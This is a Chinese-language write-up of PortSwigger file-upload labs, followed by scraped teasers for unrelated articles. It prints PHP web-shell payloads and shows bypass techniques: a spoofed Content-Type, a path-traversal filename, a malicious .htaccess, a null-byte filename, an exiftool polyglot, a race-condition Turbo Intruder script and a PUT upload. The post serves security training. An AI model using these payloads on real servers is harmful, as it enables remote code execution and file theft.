burp靶场--文件上传
burp靶场–文件上传
https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload
1.文件上传
1、原理:文件上传漏洞是指Web服务器允许用户将文件上传到其文件系统,而不充分验证文件的名称、类型、内容或大小等内容。如果不能正确地执行这些限制,可能意味着即使是基本的图像上传功能也可以用来上传任意的和潜在危险的文件。这甚至可以包括支持远程代码执行的服务器端脚本文件
2、危害:在某些情况下,上传文件的行为本身就足以造成损害。其他攻击可能涉及对文件的后续HTTP请求,通常是为了触发服务器执行该文件
实验1:通过Webshell上传远程执行代码
### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。在将用户上传的文件存储到服务器的文件系统之前,它不会对它们执行任何验证。
要完成该实验,请上传一个基本的 PHP Web shell 并使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
通过 Burp 代理流量时,登录您的帐户并注意上传头像图像的选项。
上传任意图像,然后返回您的帐户页面。请注意,您的头像的预览现在显示在页面上。
在 Burp 中,转到代理 > HTTP 历史记录。单击过滤器栏可打开“过滤器设置”对话框。在“按 MIME 类型过滤”下,启用“图像”复选框,然后应用更改。
在代理历史记录中,请注意您的图像是使用GET请求获取的/files/avatars/<YOUR-IMAGE>。将此请求发送到 Burp Repeater。
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取卡洛斯秘密文件内容的脚本。例如:
<?php echo file_get_contents('/home/carlos/secret'); ?>
使用头像上传功能上传恶意PHP文件。响应中的消息确认已成功上传。
在 Burp Repeater 中,更改请求的路径以指向您的 PHP 文件:
GET /files/avatars/exploit.php HTTP/1.1
发送请求。请注意,服务器已执行您的脚本并在响应中返回其输出(卡洛斯的秘密)。
提交解决实验室问题的秘密。




实验2:通过绕过 Content-Type 限制上传 Webshell
### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。它尝试阻止用户上传意外的文件类型,但依赖于检查用户可控的输入来验证这一点。
要完成该实验,请上传一个基本的 PHP Web shell 并使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
登录并上传图像作为您的头像,然后返回您的帐户页面。
在 Burp 中,转到代理 > HTTP 历史记录,您会注意到您的图像是GET使用/files/avatars/<YOUR-IMAGE>. 将此请求发送到 Burp Repeater。
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取 Carlos 秘密内容的脚本。例如:
<?php echo file_get_contents('/home/carlos/secret'); ?>
尝试上传此脚本作为您的头像。响应表明您只能上传 MIME 类型image/jpeg或image/png.
在 Burp 中,返回代理历史记录并找到POST /my-account/avatar用于提交文件上传的请求。将其发送到 Burp Repeater。
在 Burp Repeater 中,转到包含POST /my-account/avatar请求的选项卡。在消息正文中与您的文件相关的部分,将指定更改Content-Type为image/jpeg.
发送请求。请注意,响应表明您的文件已成功上传。
切换到包含请求的另一个中继器选项卡GET /files/avatars/<YOUR-IMAGE>。在路径中,将图像文件的名称替换为exploit.php并发送请求。请注意,响应中返回了 Carlos 的秘密。
提交解决实验室问题的秘密。

提交flag,完成实验。

实验3:Webshell通过路径遍历上传
【文件名使用路径遍历绕过了上传目录不执行限制】
### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。服务器被配置为阻止执行用户提供的文件,但可以通过利用第二个漏洞来绕过此限制。
要完成该实验,请上传一个基本的 PHP Web shell 并使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
登录并上传图像作为您的头像,然后返回您的帐户页面。
在 Burp 中,转到代理 > HTTP 历史记录,您会注意到您的图像是GET使用/files/avatars/<YOUR-IMAGE>. 将此请求发送到 Burp Repeater。
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取 Carlos 秘密内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
上传此脚本作为您的头像。请注意,该网站似乎并没有阻止您上传 PHP 文件。
在 Burp Repeater 中,转到包含GET /files/avatars/<YOUR-IMAGE>请求的选项卡。在路径中,将图像文件的名称替换为exploit.php并发送请求。请注意,服务器只是以纯文本形式返回 PHP 文件的内容,而不是执行脚本并返回输出。
在Burp的代理历史记录中,找到POST /my-account/avatar用于提交文件上传的请求并将其发送到Burp Repeater。
在 Burp Repeater 中,转到包含POST /my-account/avatar请求的选项卡,找到请求正文中与 PHP 文件相关的部分。在Content-Disposition标头中,更改filename以包含目录遍历序列:Content-Disposition: form-data; name="avatar"; filename="../exploit.php"
发送请求。请注意,响应显示The file avatars/exploit.php has been uploaded.这表明服务器正在从文件名中删除目录遍历序列。
通过对正斜杠 ( ) 字符进行 URL 编码来混淆目录遍历序列/,结果是:filename="..%2fexploit.php"
发送请求并观察消息现在显示The file avatars/../exploit.php has been uploaded.“这表明服务器正在对文件名进行 URL 解码”。
在浏览器中,返回您的帐户页面。
在 Burp 的代理历史记录中,找到该GET /files/avatars/..%2fexploit.php请求。请注意,响应中返回了 Carlos 的秘密。这表明该文件已上传到文件系统层次结构中的更高目录 ( /files),并随后由服务器执行。请注意,这意味着您还可以使用 请求此文件GET /files/exploit.php。
提交解决实验室问题的秘密。






实验4:通过扩展程序黑名单绕过Webshell上传
### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。某些文件扩展名被列入黑名单,但由于此黑名单配置中存在根本缺陷,因此可以绕过此防御。
要解决该实验,请上传一个基本的 PHP Web shell,然后使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
登录并上传图像作为您的头像,然后返回您的帐户页面。
在 Burp 中,转到代理 > HTTP 历史记录,您会注意到您的图像是GET使用/files/avatars/<YOUR-IMAGE>. 将此请求发送到 Burp Repeater。
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取卡洛斯秘密内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
尝试上传此脚本作为您的头像。该响应表明您不允许上传带有.php扩展名的文件。
在 Burp 的代理历史记录中,找到POST /my-account/avatar用于提交文件上传的请求。在响应中,请注意标头显示您正在与 Apache 服务器通信。将此请求发送到 Burp Repeater。
在 Burp Repeater 中,转到请求选项卡POST /my-account/avatar并找到与 PHP 文件相关的正文部分。进行以下更改:
将参数值更改filename为.htaccess。
将标头的值更改Content-Type为text/plain。
将文件的内容(您的 PHP 负载)替换为以下 Apache 指令:AddType application/x-httpd-php .l33t
这将任意扩展名 ( .l33t) 映射到可执行 MIME 类型application/x-httpd-php。当服务器使用该mod_php模块时,它已经知道如何处理这个问题。发送请求并观察文件已成功上传。
使用 Burp Repeater 中的后退箭头返回到上传 PHP 漏洞的原始请求。
将参数值filename从更改exploit.php为exploit.l33t。再次发送请求,发现文件已成功上传。
切换到包含请求的另一个中继器选项卡GET /files/avatars/<YOUR-IMAGE>。在路径中,将图像文件的名称替换为exploit.l33t并发送请求。请注意,响应中返回了 Carlos 的秘密。由于我们的恶意.htaccess文件,该.l33t文件就像一个.php文件一样被执行。
提交解决实验室问题的秘密。


上传.htaccess文件:



实验5:通过混淆的文件扩展名上传 Webshell
### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。某些文件扩展名被列入黑名单,但可以使用经典的混淆技术绕过这种防御。
要解决该实验,请上传一个基本的 PHP Web shell,然后使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
登录并上传图像作为您的头像,然后返回您的帐户页面。
在 Burp 中,转到代理 > HTTP 历史记录,您会注意到您的图像是GET使用/files/avatars/<YOUR-IMAGE>. 将此请求发送到 Burp Repeater。
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取 Carlos 秘密内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
尝试上传此脚本作为您的头像。响应表明您只能上传 JPG 和 PNG 文件。
在 Burp 的代理历史记录中,找到POST /my-account/avatar用于提交文件上传的请求。将其发送到 Burp Repeater。
在 Burp Repeater 中,转到请求选项卡POST /my-account/avatar并找到与 PHP 文件相关的正文部分。在Content-Disposition标头中,更改参数的值filename以包含 URL 编码的空字节,后跟.jpg扩展名:filename="exploit.php%00.jpg"
发送请求并观察文件已成功上传。请注意,该消息将文件引用为exploit.php,表明空字节和.jpg 扩展名已被删除。
切换到包含请求的另一个中继器选项卡GET /files/avatars/<YOUR-IMAGE>。在路径中,将图像文件的名称替换为exploit.php并发送请求。请注意,响应中返回了 Carlos 的秘密。
提交解决实验室问题的秘密。



实验6:通过多语言 Webshell 上传远程执行代码【图片马绕过】
### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。尽管它会检查文件的内容以验证它是否是真实图像,但仍然可以上传并执行服务器端代码。
要解决该实验,请上传一个基本的 PHP Web shell,然后使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取卡洛斯秘密内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
登录并尝试将脚本上传为您的头像。请注意,即使您尝试使用在之前的实验中学到的一些技术,服务器也会成功阻止您上传非图像文件。
创建一个多语言 PHP/JPG 文件,该文件本质上是一个普通图像,但在其元数据中包含您的 PHP 负载。执行此操作的一个简单方法是从命令行下载并运行 ExifTool,如下所示:exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php
这会将您的 PHP 有效负载添加到图像的Comment字段中,然后使用扩展名保存图像.php。在浏览器中,上传多语言图像作为您的头像,然后返回您的帐户页面。
在 Burp 的代理历史记录中,找到该GET /files/avatars/polyglot.php请求。START使用消息编辑器的搜索功能在响应中的二进制图像数据中查找字符串。在此和END字符串之间,您应该看到卡洛斯的秘密,例如:START 2B2tlPyJQfJDynyKME5D02Cw0ouydMpZ END
提交解决实验室问题的秘密。

上传:


实验7:通过竞争条件上传 Webshell
### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。尽管它对上传的任何文件执行强大的验证,但可以通过在处理文件的方式中利用竞争条件来完全绕过此验证。
要解决该实验,请上传一个基本的 PHP Web shell,然后使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
登录并上传图像作为您的头像,然后返回您的帐户页面。
在 Burp 中,转到代理 > HTTP 历史记录,您会注意到您的图像是GET使用/files/avatars/<YOUR-IMAGE>.
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取卡洛斯秘密内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
登录并尝试将脚本上传为您的头像。请注意,即使您尝试使用在之前的实验中学到的一些技术,服务器似乎也成功阻止您上传非图像文件。
如果您尚未从 BApp 商店 将Turbo Intruder扩展添加到 Burp,请添加该扩展。
右键单击POST /my-account/avatar用于提交文件上传的请求,然后选择扩展 > Turbo Intruder > 发送到 Turbo Intruder。涡轮入侵者窗口打开。
将以下脚本模板复制并粘贴到 Turbo Intruder 的 Python 编辑器中:def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)request1 = '''<YOUR-POST-REQUEST>'''request2 = '''<YOUR-GET-REQUEST>'''# the 'gate' argument blocks the final byte of each request until openGate is invokedengine.queue(request1, gate='race1')for x in range(5):engine.queue(request2, gate='race1')# wait until every 'race1' tagged request is ready# then send the final byte of each request# (this method is non-blocking, just like queue)engine.openGate('race1')engine.complete(timeout=60)def handleResponse(req, interesting):table.add(req)
在脚本中,替换为包含您的文件的<YOUR-POST-REQUEST>整个请求。您可以从 Turbo Intruder 窗口顶部复制并粘贴此内容。 POST /my-account/avatarexploit.php
替换为获取上传的 PHP 文件的请求<YOUR-GET-REQUEST>。GET最简单的方法是从代理历史记录中复制请求GET /files/avatars/<YOUR-IMAGE>,然后将路径中的文件名更改为exploit.php.
在 Turbo Intruder 窗口的底部,单击Attack。该脚本将提交一个POST上传exploit.php文件的请求,随后立即GET向/files/avatars/exploit.php.
在结果列表中,请注意,某些GET请求收到了包含 Carlos 秘密的 200 响应。这些请求在 PHP 文件上传之后、验证失败并被删除之前到达服务器。
提交解决实验室问题的秘密。
笔记
如果您选择手动构建GET请求,请确保使用\r\n\r\n序列正确终止它。另请记住,Python 将保留多行字符串中的所有空格,因此您需要相应地调整缩进以确保发送有效的请求。

将请求报文发送到intruder:


repeater模块手动上传重放包:同时观察intruder,发现690包就已经收到代码执行的结果了:
而且可以看到在690-727这个请求包的时间段内是正常访问了恶意代码的:


竞态上传另一种方法:使用turbo Intruder插件:
先到burp商店安装:


在turbo intruder窗口中粘贴以下脚本:
def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)request1 = '''<YOUR-POST-REQUEST>'''request2 = '''<YOUR-GET-REQUEST>'''# the 'gate' argument blocks the final byte of each request until openGate is invokedengine.queue(request1, gate='race1')for x in range(5):engine.queue(request2, gate='race1')# wait until every 'race1' tagged request is ready# then send the final byte of each request# (this method is non-blocking, just like queue)engine.openGate('race1')engine.complete(timeout=60)def handleResponse(req, interesting):table.add(req)

点击攻击后,查看状态码200的响应包。
其他情况的文件上传:
1、上传恶意客户端脚本
1、虽然可能无法在服务器上执行脚本,但仍然可以上载脚本以进行客户端攻击。如果可以上载HTML文件或SVG图像,则可以使用<script>标记创建存储的XSS有效负载。————2、如果上载的文件随后出现在其他用户访问的页面上,则他们的浏览器将在尝试呈现该页面时执行该脚本(由于同源策略限制,这些类型的攻击只有在上载文件来自与上载文件相同的源时才会起作用)2、利用上载文件解析中的漏洞
1、如果上传的文件看起来存储和提供都很安全,那么最后的办法就是尝试利用解析或处理不同文件格式时特有的漏洞————2、如知道服务器解析基于XML的文件,如MicrosoftOffice文件或. xls文件,这可能是潜在的XXE注射液攻击。 3、使用PUT上载文件
值得注意的是,一些web服务器可能被配置为支持PUT请求。如果没有适当的防御措施,这可能会提供上传恶意文件的替代方法,即使无法通过Web界面使用上传功能。PUT /images/1.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49<?php echo file_get_contents('/path/to/file'); ?>
参考:
### portswigger官方文件上传:
https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload
### 【Burp系列】超全文件上传漏洞实验
https://mp.weixin.qq.com/s/yQ4UOsQMRwVr2Fb5lvYLQA
### PayloadsAllTheThings 文件上传:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files
### owasp文件上传:
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/08-Test_Upload_of_Unexpected_File_Types
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/09-Test_Upload_of_Malicious_Files相关文章:
burp靶场--文件上传
burp靶场–文件上传 https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload 1.文件上传 1、原理:文件上传漏洞是指Web服务器允许用户将文件上传到其文件系统,而不充分验证文件的名称、类型、…...
mac 中vscode设置root启动
1. 找到你的vscode app,点击鼠标右键------->选项----->在访达中显示 2. 终端中输入以下命令,不要点回车,不要点回车,输入一个空格 sudo chflags uchg 3. 然后将你的程序拖到终端,会自动…...
【MySQL数据库专项 一】一个例子讲清楚数据库三范式
好的,让我们以学校数据库中的一个表为例来说明第一范式(1NF)、第二范式(2NF)和第三范式(3NF)的概念。 什么是数据库三范式 数据库的范式(Normalization)是一组关于数据…...
【笔记】关于期刊
什么是统计源期刊 统计源期刊,全称为“中国科技论文统计源期刊”,也称作中国科技核心期刊,是由中国科技信息研究所(ISTIC)受国家科技部委托,选定的一系列在中国出版的高质量自然科学类学术期刊。这些期刊是…...
SpringMVC-.xml的配置
文章目录 一、对pom.xml的配置二、对web.xml1.第一种方式2. 第二种方式 三、对SpringMVC.xml的配置 一、对pom.xml的配置 <!-- 打包成war包--><packaging>war</packaging> <dependencies><!-- SpringMVC--><dependency><gro…...
Java找二叉树的公共祖先
描述: 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为:“对于有根树 T 的两个节点 p、q,最近公共祖先表示为一个节点 x,满足 x 是 p、q 的祖先且 x 的深度尽可能大(一个节…...
《Linux高性能服务器编程》笔记03
Linux高性能服务器编程 本文是读书笔记,如有侵权,请联系删除。 参考 Linux高性能服务器编程源码: https://github.com/raichen/LinuxServerCodes 豆瓣: Linux高性能服务器编程 文章目录 Linux高性能服务器编程第07章 Linux服务器程序规范7.1日志7.2用…...
Java毕业设计-基于ssm的网上求职招聘管理系统-第85期
获取源码资料,请移步从戎源码网:从戎源码网_专业的计算机毕业设计网站 项目介绍 基于ssm的网上求职招聘管理系统:前端 jsp、jquery,后端 springmvc、spring、mybatis,角色分为管理员、招聘人员、用户;集成…...
UDP和TCP
UDP协议是一种不可靠的、面向无连接的协议。在通信过程中,它并不像TCP那样需要先建立一个连接,只要(目的地址,端口号,源地址,端口号)确定了,就可以直接发送信息报文,并且…...
【C++】vector容器接口要点的补充
接口缩容 在VS编译器的模式下,类似于erase和insert接口的函数通常会进行缩容,因此,insert和erase行参中的迭代器可能会失效。下图中以erase为例: 代码如下: #include <iostream> #include <vector> #inclu…...
electron-vite中的ipc通信
1. 概述 再electron中,进程间的通信通过ipcMain和ipcRenderer模块,这些通道是任意和双向的 1.1. 什么是上下文隔离进程 ipc通道是通过预加载脚本绑定到window对象的electron对象属性上的 2. 通信方式 2.1. ipcMain(也就是渲染进程向主进…...
探秘网络爬虫的基本原理与实例应用
1. 基本原理 网络爬虫是一种用于自动化获取互联网信息的程序,其基本原理包括URL获取、HTTP请求、HTML解析、数据提取和数据存储等步骤。 URL获取: 确定需要访问的目标网页,通过人工指定、站点地图或之前的抓取结果获取URL。 HTTP请求&#…...
音视频编解码学习记录
目录 学习资料个人git仓库 文章 学习资料 个人git仓库 标准,资料,笔记: https://gitee.com/fedorayang/video_and_audio_codec.git 文章 理解低延迟视频编码的正确姿势: https://cloud.tencent.com/developer/article/1358721...
零基础小白刚刚入门Python的注意点总结~
文章目录 一、注意你的Python版本1.print()函数2.raw_input()与input()3.比较符号,使用!替换<>4.repr函数5.exec()函数 二、新手常遇到的问题1、如何写多行程序?2、如何执行.py文件?3、and,or,not4、True和False…...
从 Context 看 Go 设计模式:接口、封装和并发控制
文章目录 Context 的基本结构Context 的实现和传递机制为什么 Context 不直接传递指针案例:DataStore结论 在 Go 语言中, context 包是并发编程的核心,用于传递取消信号和请求范围的值。但其传值机制,特别是为什么不通过指针传递…...
微信小程序字体大小
微信小程序中可以使用以下CSS样式来设置字体大小: font-size: 12px; // 设置字体大小为12像素在小程序中,可以直接在WXML文件和WXSS文件中使用这个样式。...
L1-062 幸运彩票(Java)
彩票的号码有 6 位数字,若一张彩票的前 3 位上的数之和等于后 3 位上的数之和,则称这张彩票是幸运的。本题就请你判断给定的彩票是不是幸运的。 输入格式: 输入在第一行中给出一个正整数 N(≤ 100)。随后 N 行&#…...
【计算机网络】2、传输介质、通信方向、通信方式、交换方式、IP地址表示、子网划分
文章目录 传输介质双绞线无屏蔽双绞线UTP屏蔽双绞线STP 网线光纤多模光纤MMF单模光纤SMF 无线信道无线电波红外光波 通信方向单工半双工全双工 通信方式异步传输同步传输串行传输并行传输 交换方式电路交换报文交换分组交换 IP地址表示IP地址的定义IP地址的分类无分类编址特殊I…...
【Linux 内核源码分析】堆内存管理
堆 堆是一种动态分配内存的数据结构,用于存储和管理动态分配的对象。它是一块连续的内存空间,用于存储程序运行时动态申请的内存。 堆可以被看作是一个由各个内存块组成的堆栈,其中每个内存块都有一个地址指针,指向下一个内存块…...
Qt 5.15.2 (MSVC 2019)编译 QWT 6.2.0 : 编译MingW或MSVC遇到的坑
MingW下编译QWt 6.2.0 下载qwt最新版本,用git工具 git clone下载源码 git clone https://git.code.sf.net/p/qwt/git qwt-git 或者使用我下载的 qwt 2.6.0 链接:https://pan.baidu.com/s/1KZI-L10N90TJobeqqPYBqw?pwdpq1o 提取码:pq1o 下载…...
[特殊字符] 智能合约中的数据是如何在区块链中保持一致的?
🧠 智能合约中的数据是如何在区块链中保持一致的? 为什么所有区块链节点都能得出相同结果?合约调用这么复杂,状态真能保持一致吗?本篇带你从底层视角理解“状态一致性”的真相。 一、智能合约的数据存储在哪里…...
K8S认证|CKS题库+答案| 11. AppArmor
目录 11. AppArmor 免费获取并激活 CKA_v1.31_模拟系统 题目 开始操作: 1)、切换集群 2)、切换节点 3)、切换到 apparmor 的目录 4)、执行 apparmor 策略模块 5)、修改 pod 文件 6)、…...
ESP32读取DHT11温湿度数据
芯片:ESP32 环境:Arduino 一、安装DHT11传感器库 红框的库,别安装错了 二、代码 注意,DATA口要连接在D15上 #include "DHT.h" // 包含DHT库#define DHTPIN 15 // 定义DHT11数据引脚连接到ESP32的GPIO15 #define D…...
实现弹窗随键盘上移居中
实现弹窗随键盘上移的核心思路 在Android中,可以通过监听键盘的显示和隐藏事件,动态调整弹窗的位置。关键点在于获取键盘高度,并计算剩余屏幕空间以重新定位弹窗。 // 在Activity或Fragment中设置键盘监听 val rootView findViewById<V…...
Android 之 kotlin 语言学习笔记三(Kotlin-Java 互操作)
参考官方文档:https://developer.android.google.cn/kotlin/interop?hlzh-cn 一、Java(供 Kotlin 使用) 1、不得使用硬关键字 不要使用 Kotlin 的任何硬关键字作为方法的名称 或字段。允许使用 Kotlin 的软关键字、修饰符关键字和特殊标识…...
Fabric V2.5 通用溯源系统——增加图片上传与下载功能
fabric-trace项目在发布一年后,部署量已突破1000次,为支持更多场景,现新增支持图片信息上链,本文对图片上传、下载功能代码进行梳理,包含智能合约、后端、前端部分。 一、智能合约修改 为了增加图片信息上链溯源,需要对底层数据结构进行修改,在此对智能合约中的农产品数…...
Docker 本地安装 mysql 数据库
Docker: Accelerated Container Application Development 下载对应操作系统版本的 docker ;并安装。 基础操作不再赘述。 打开 macOS 终端,开始 docker 安装mysql之旅 第一步 docker search mysql 》〉docker search mysql NAME DE…...
Python Ovito统计金刚石结构数量
大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...
Linux 中如何提取压缩文件 ?
Linux 是一种流行的开源操作系统,它提供了许多工具来管理、压缩和解压缩文件。压缩文件有助于节省存储空间,使数据传输更快。本指南将向您展示如何在 Linux 中提取不同类型的压缩文件。 1. Unpacking ZIP Files ZIP 文件是非常常见的,要在 …...
关于uniapp展示PDF的解决方案
在 UniApp 的 H5 环境中使用 pdf-vue3 组件可以实现完整的 PDF 预览功能。以下是详细实现步骤和注意事项: 一、安装依赖 安装 pdf-vue3 和 PDF.js 核心库: npm install pdf-vue3 pdfjs-dist二、基本使用示例 <template><view class"con…...
